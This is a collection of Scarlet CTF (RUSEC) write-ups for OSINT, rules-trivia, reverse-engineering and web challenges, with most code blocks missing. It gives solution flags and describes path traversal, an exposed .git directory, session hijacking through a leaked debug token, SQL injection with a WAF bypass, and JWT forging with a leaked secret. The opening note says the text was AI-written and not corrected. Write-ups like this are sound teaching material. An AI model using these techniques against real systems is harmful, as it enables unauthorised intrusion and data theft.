Note: the above was written by AI and too tired to fix up but basically the key features are the style of the power pylon, the style of the crossroad sign which is only in Canada, the mountain in the back, and the fact that skiing is nearby. Here are the relevant pictures. While we're looking around we get a feel for which power line corresponds with that power pylon (it's the red one), and we look around ski resorts which is the last image.




readme
Rule Follower
Description
Welcome to Scarlet CTF!
This should be pretty easy for your first flag! All you gotta do is just make sure you read the rules :)
nc challs.ctf.rusec.club 62075
Solution
Connecting to the server presents a trivia game about CTF rules with 10 TRUE/FALSE questions:
You are NOT allowed to compromise/pentest our CTF platform (rCTF, scoreboard, etc.) - TRUE
Flag sharing (sharing flags to someone not on your team) is NOT allowed - TRUE
If you have a question regarding the CTF, you ping the admins or DM them - FALSE (You make a ticket)
Asking for help from other people (not on your team) for challenges is allowed if you're stuck - FALSE
You are allowed to use automated scanners/fuzzing/bruteforcing whenever you wish with NO restrictions - FALSE (Only when a challenge specifically requires it)
Your teams can be of unlimited size - TRUE
You are allowed to do ACTIVE attacking during OSINT (i.e: contacting potential targets), not just passive, when you feel it is necessary - FALSE (OSINT is strictly passive)
PASSIVE OSINT techniques are allowed on general RUSEC infrastructure only when EXPLICITLY given specific permission to by a challenge - TRUE
ACTIVE techniques (i.e: pentesting) are allowed on general RUSEC infrastructure at any time - FALSE (Never allowed)
Official writeups will be posted at the end of the competition - TRUE
Answering all questions correctly with T T F F F T F T F T reveals the flag.
Flag
RUSEC{you_read_the_rules}
rev
first_steps
Description
Find the flag hidden in the binary!
Category: Rev Points: 100 Solves: 180 Author: s0s.sh
Solution
This is a beginner reverse engineering challenge. Running the binary gives us a hint:
The hint directly points to the .rodata section (read-only data section in ELF binaries). We can dump this section using objdump:
This reveals the flag stored as a plaintext string in the binary:
Alternative methods to find the flag:
strings first_steps | grep RUSECOpening the binary in a hex editor and searching for "RUSEC"
Using a disassembler like Ghidra or IDA to view the
.rodatasection
Flag
RUSEC{well_th4t_was_eZ_WllwnZMjMCjqCsyXNnrtpDomWMU}
court_jester
Description
A reverse engineering challenge where we analyze a binary that displays an ASCII art jester juggling. The binary uses inter-process communication (IPC) via pipes between parent and child processes to encode/decode data. The hint "(0x2c)" in the output points to the XOR key needed to decode the flag.
Solution
Initial Analysis: Running the binary shows an ASCII art jester with the hint
(0x2c)displayed prominently. Usingfilereveals it's a 64-bit ELF binary.Tracing System Calls: Using
strace -fto trace the binary reveals:The binary forks into parent and child processes
They communicate via pipes (parent writes to fd 6, reads from fd 3; child reads fd 5, writes to fd 4)
Three exchanges of 20 bytes each occur
Analyzing the IPC Data: The exchanges show:
Parent sends encrypted data chunks
Child responds with XOR-decrypted data
The XOR relationship between parent/child shows alternating 2-byte keys:
[0xCA, 0xB1],[0xD6, 0xC9],[0xAA, 0x07]
Decoding with the 0x2c Hint: The "(0x2c)" displayed in the output is the key hint - 0x2c is the ASCII code for comma (
,). XORing all child responses with 0x2c reveals the flag:
Understanding the Theme: The description mentions the jester "juggles data all wrong" - this is reflected in the flag where the first part is readable ("i_suppos3_you_0utjuggl3d_me_") but the suffix appears scrambled (
LKNGFU389XYVGTS7ONLEU4DMK). This scrambled suffix is intentional, representing the jester's "wrong juggling" of data.
Flag
RUSEC{i_suppos3_you_0utjuggl3d_me_LKNGFU389XYVGTS7ONLEU4DMK}
brainfkd
Description
A 64k Brainfuck program validates a 36-byte flag of the form RUSEC{...}. Initial tracing suggested comparing transformed input at tape[257..292] against a constant string at tape[293..328], but solving on that block hits dead ends. The goal is to reverse the actual transformation and recover the flag.
Solution
Key observations:
Each output position depends only on its corresponding input byte (no cross-position interaction). Flipping one input byte only changes the matching output cell.
The program writes several constant ASCII blocks to the tape. The comparison target is not the
tape[293..328]string; scanning the tape with zero input reveals another 36-byte printable window attape[473..508]that fits theRUSEC{}shape under the per-position mappings.
Approach:
Build a fast BF runner and precompute
f_i(v)for every positioni(0β35) and bytev(0β255) by running the program with all inputs set tovand recordingtape[257..292].Run once with zero input, scan all 36-byte windows of the tape, and look for a window where the mappings can produce
RUSEC{at positions 0β5 and}at position 35. Onlytape[473..508]matches.For each position, pick any printable byte that maps to the target byte at
tape[473+i], enforcing the prefix/suffix.
Flag
RUSEC{g0d_im_s0_s0rry_for_th1s_p4in}
Solver
Relevant solver (solve_flag.c):
web
Commentary
Description
You're currently speaking to my favorite host right now (ctf.rusec.club), but who's to say you even had to speak with one?
Sometimes, the treasure to be found is just bloat that people forgot to remove.
Solution
The challenge hints at HTTP Host header manipulation with the bold emphasis on host and the phrase "who's to say you even had to speak with one?" suggesting we shouldn't need a Host header at all.
Additionally, "bloat that people forgot to remove" suggests looking for leftover files or content.
When a web server like nginx hosts multiple virtual hosts, it uses the HTTP Host header to determine which site to serve. In HTTP/1.1, the Host header is mandatory. However, in HTTP/1.0, the Host header is not required.
By making an HTTP/1.0 request without a Host header to port 80, nginx falls back to serving its default page since it cannot determine which virtual host to route the request to:
This returns the default nginx welcome page, which contains an HTML comment with the flag:
The "bloat people forgot to remove" refers to the default nginx page and the HTML comments containing the flag that the administrators forgot to clean up or disable.
Flag
RUSEC{truly_the_hardest_ctf_challenge}
SWE Intern at Girly Pop Inc
Description
Last week we fired an intern at Girlie Pop INC for stealing too much food from the office. It seems they didn't know much about secure software development either...
The challenge presents a JWT token generation web application at https://girly.ctf.rusec.club.
Solution
Step 1: Initial Reconnaissance
The main page shows a JWT Studio application with navigation links:
/view?page=docs.html- API Documentation/view?page=about.html- System Status
The docs mention the /view endpoint is "restricted to the static directory for security." The System Status page mentions "Automated via Git-Hooks" deployment.
Step 2: Exploit Path Traversal
The /view endpoint is vulnerable to path traversal. Test it:
This returns the Flask source code:
JWT Key Found: f0und_my_k3y_1_gu3$$
This key could be used to forge JWT tokens with arbitrary claims (e.g., role: admin), but no protected endpoints exist in this challenge.
Step 3: Enumerate Git Repository
The "Git-Hooks" hint suggests a .git directory might be exposed:
This confirms the Git repo is accessible and reveals the branch name.
Step 4: Extract the Flag
The intern committed sensitive files to the repository. Read the README:
Output contains the flag directly:
Key Vulnerabilities
Path Traversal (CWE-22): The
/viewendpoint fails to validate thepageparameter, allowing../sequences to access arbitrary files.Exposed Git Repository: The
.gitdirectory is web-accessible, leaking source code and commit history.Hardcoded Secrets: JWT secret key in source code instead of environment variables.
Sensitive Data in Git: The flag was committed to README.md in the repository.
Flag
RUSEC{a1way$_1gnor3_3nv_f1l3s_up47910k390cyhu623}
The flag message "always ignore env files" references the security practice of adding .env files to .gitignore to prevent committing secrets to version control.
Campus One
Description
Access the admin panel and retrieve the hidden flag from the backend.
Solution
Step 1: Discover Debug Endpoint
Fuzzing the API reveals an exposed debug endpoint:
Response:
Step 2: Session Hijacking
Use the leaked admin session token to access the admin panel:
This reveals an order search feature at /api/admin/search?q=...
Step 3: SQL Injection with WAF Bypass
The search parameter is vulnerable to SQL injection, but a WAF blocks common keywords. Bypass using inline comments:
Step 4: Enumerate Database
Find table names via sqlite_master:
Reveals a secrets table with columns key and value.
Step 5: Extract Flag
Response includes:
Key Vulnerabilities
Information Disclosure (CWE-200): Debug endpoint exposed session tokens
Session Hijacking (CWE-384): No session binding to IP/user-agent
SQL Injection (CWE-89): Unsanitized input in search query
Insufficient WAF: Inline comments bypass keyword filtering
Flag
RUSEC{S3ss10n_H1j4ck1ng_1s_Fun_2938}
Mole in the Wall
Description
We just launched our new parent development company, Girlie Pop's Pizza Place! Packed with your favorite animatronics, we hold pizza parties and games galore! Sometimes Bonita the Yellow Rabbit has been acting a bit out of line recently however...
Hint: The animatronics get a bit quirky at night. They tend to get their security from a JSON in debug/config...
https://girlypies.ctf.rusec.club
Solution
Find the exposed debug config JSON that describes JWT requirements:
GET /debug/config/security.jsonThis shows HS256 and required claims:department=security,role=nightguard,shift=night.
Locate the JWT secret in the debug config directory:
GET /debug/config/.envThis returns JSON withJWT_SECRET.
Forge a JWT with the required claims and sign it using the secret, then submit it to
/login.
The response is a ZIP file.
Extract the ZIP. It contains:
logs/session.log(an obfuscated token)config/settings.xml(API path/api/run-flow)A flow definition that decodes the session log by subtracting 1 from each ASCII code.
Decode
logs/session.logand use the decoded string as theinputfor/api/run-flow.
The correct input is
t#at_purpl3_guy.
The API returns the flag.
Python repro (end-to-end):
Flag
RUSEC{m1cro$oft_n3ver_mad3_g00d_aut0m4t1on}
Miss-Input
Description
The challenge page is fully client-side. A JavaScript helper rw(key) takes a user-supplied key, XOR-decrypts a fixed ciphertext, and only checks whether the decrypted string starts with RUSEC{. The βSubmitβ button never sends anything server-side. A tiny WASM module is provided but only contains XOR helpers and some debug arrays that are not invoked by the page logic. Goal: recover the XOR key and decrypt the ciphertext into a valid flag.
Solution
Extract the ciphertext and algorithm From the bundled JS:
Ciphertext (hex):
Decryption is repeating-key XOR:
The only check:
plaintext.startsWith("RUSEC{").
Fix the key prefix from the known flag header XOR the first bytes of the ciphertext with
RUSEC{:So any valid key must start with
M151NP.Recover the full key by aligning with the intended plaintext theme The hint (βMISINPUT β¦ CALM DOWN β¦ F DOWN!β) and leetspeak expectations lead to a natural plaintext candidate. XORing the ciphertext against that plaintext yields a consistent repeating key:
Verify by decrypting with the recovered key
Flag
RUSEC{Y0U_C4LM_D0WN_175_A_M151NPU7}
Last updated